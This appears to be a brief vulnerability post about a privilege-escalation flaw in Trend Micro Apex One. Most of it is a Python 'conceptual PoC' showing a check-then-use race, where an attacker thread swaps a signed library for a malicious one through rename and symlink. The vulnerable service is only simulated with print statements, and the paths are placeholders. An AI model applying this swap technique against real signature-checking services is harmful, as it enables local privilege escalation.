CVE-2025-71215 Trend Micro Apex One提权漏洞

# Conceptual PoC for TOCTOU in Signature Verification # This demonstrates the race condition logic. # Attacker needs low-privilege execution first. import os import time import threading malicious_file_path = "/path/to/malicious.dylib" legitimate_file_path = "/path/to/legitimate_signed.dylib" target_file_path = "/tmp/target_file.dylib" def attacker_thread(): # Wait for the check phase time.sleep(0.1) # Swap the file after check but before use (The Race) try: os.rename(target_file_path, target_file_path + ".bak") os.symlink(malicious_file_path, target_file_path) print("[+] File swapped via TOCTOU") except Exception as e: print(f"[-] Swap failed: {e}") # Simulate the vulnerable service behavior def vulnerable_service(): # 1. Check: Verify signature of target_file_path print("[Service] Verifying signature...") time.sleep(0.2) # Simulate check time print("[Service] Signature Valid.") # 2. Use: Load the library # Attacker swaps file here time.sleep(0.2) print("[Service] Loading library...") # In a real scenario, this loads the malicious file print("[Service] Library loaded (Potentially Malicious)") # Start threads t1 = threading.Thread(target=vulnerable_service) t2 = threading.Thread(target=attacker_thread) t1.start() t2.start() t1.join() t2.join()